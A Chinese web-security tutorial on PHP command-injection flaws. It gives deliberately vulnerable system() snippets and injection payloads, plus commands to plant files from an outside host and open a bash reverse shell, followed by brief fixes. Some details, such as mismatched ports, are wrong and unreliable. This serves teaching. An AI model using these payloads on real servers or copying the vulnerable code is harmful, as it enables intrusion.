Web安全之命令执行漏洞

内容:
命令执行漏洞的概述
命令执行漏洞的危害
命令执行漏洞的利用
命令执行漏洞的防御

背景介绍
程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本语言开发十分快速、简洁,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时就会用到一些执行系统命令的函数。

成因
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。

相关函数
在PHP中可以调用外部程序的常见函数:

  • system(args) 有回显
  • passthru(args)(有回显)
  • exec(args) (回显最后一行-必须echo输出)
  • shell_exec(args) (无回显-必须输出)
  • 反引号:``
  • popen(handle,mode)(无回显)
  • proc_open(‘cmd’,‘flag’,‘flag’)(无回显)
  • $process = proc_open(‘dir’,$des,$pipes);
  • echo stream_get_contents($pipes[1]);

漏洞危害

  • 继承Web服务器程序的权限,去执行系统命令
  • 继承Web服务器程序的权限,读写文件
  • 反弹shell
  • 控制整个网站
  • 甚至控制整个服务器

system()函数漏洞利用_1

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“$arg”);
}
?>

• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig

system()函数漏洞利用_2

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“ping –c 3 $arg”);
}
?>

我们能够控制的点是程序的整个参数,我们可以直接用&&或|等等,利用与、或、管道命令来执行其他命令。
• /?cmd=127.0.0.1| ifconfig

System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
中间加任意字符,后面都会执行-,//,/*/

system()函数漏洞利用_3

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“ls –al \“$arg\””);
    // ls –al “”;ifconfig;”
}
?>

逻辑与短路

<?php
if ($a = 100 | $b =100) {
	\# code...
}

// 短路与&&的特点,前面如果为真,才执行后面的,如果为假,都不执行。
// 逻辑与&的特点,前面无论真假,后面都执行
// 短路或||&的特点,前面如果为真,后面的不执行了,前面为假,后面执行
// 逻辑或|前面无论真假,后面都执行

echo "<pre>";
var_dump($a);
var_dump($b);
?>

• /?cmd=/home” ; ifconfig;”
• /?cmd=/home” | ifconfig;”
• /?cmd=/home” %26 ifconfig;”
• /?cmd=/home” %26%26 ifconfig;”

system()函数利用_4

<?php
$arg = $_GET[‘cmd’];

if($arg){
	system(“ls –al ‘$arg’”);
}
?>

在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’

漏洞利用
如果有写权限的话

  1. 执行pwd得到绝对路径
  2. 写文件:
    • ?cmd=echo"<?php phpinfo()?>" > /var/www/html/info.php
    • ?cmd=wget -O /var/www/html/info.php http://www.xx.com/phpinfo.txt
    • ?cmd=curl http://www.xx.com/phpinfo.txt > /var/www/html/info.php

反弹shell
公网服务器执行 nc –lvv 8888

目标服务器上执行
• ?cmd= bash -i >& /dev/tcp/211.149.191.5/9999 0>&1

漏洞修复方案
• 能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,并在disabl_functions中禁用。
• 在进入命令执行的函数或方法之前,对参数进行过滤。
• 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。

猜你喜欢

转载自blog.csdn.net/qq_37133717/article/details/95231291